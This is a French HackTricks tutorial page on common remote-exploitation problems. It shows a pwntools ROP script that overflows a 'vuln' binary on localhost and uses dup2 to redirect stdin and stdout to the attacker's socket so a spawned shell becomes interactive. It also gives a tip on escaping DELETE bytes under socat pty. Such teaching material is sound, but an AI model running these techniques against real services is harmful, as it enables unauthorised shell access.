4 KiB
Problèmes d'Exploitation Courants
{% hint style="success" %}
Apprenez et pratiquez le Hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.
FDs dans l'Exploitation à Distance
Lors de l'envoi d'un exploit à un serveur distant qui appelle system('/bin/sh')
par exemple, cela sera exécuté dans le processus du serveur bien sûr, et /bin/sh
s'attendra à une entrée depuis stdin (FD : 0
) et imprimera la sortie dans stdout et stderr (FDs 1
et 2
). Ainsi, l'attaquant ne pourra pas interagir avec le shell.
Une façon de résoudre cela est de supposer que lorsque le serveur a démarré, il a créé le FD numéro 3
(pour écouter) et que ensuite, votre connexion sera dans le FD numéro 4
. Par conséquent, il est possible d'utiliser l'appel système dup2
pour dupliquer le stdin (FD 0) et le stdout (FD 1) dans le FD 4 (celui de la connexion de l'attaquant) afin de rendre possible le contact avec le shell une fois qu'il est exécuté.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Notez que socat transfère déjà stdin
et stdout
vers le socket. Cependant, le mode pty
inclut les caractères DELETE. Donc, si vous envoyez un \x7f
( DELETE
-) cela supprimera le caractère précédent de votre exploit.
Pour contourner cela, le caractère d'échappement \x16
doit être préfixé à tout \x7f
envoyé.
Ici, vous pouvez trouver un exemple de ce comportement.
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Supportez HackTricks
- Consultez les plans d'abonnement!
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.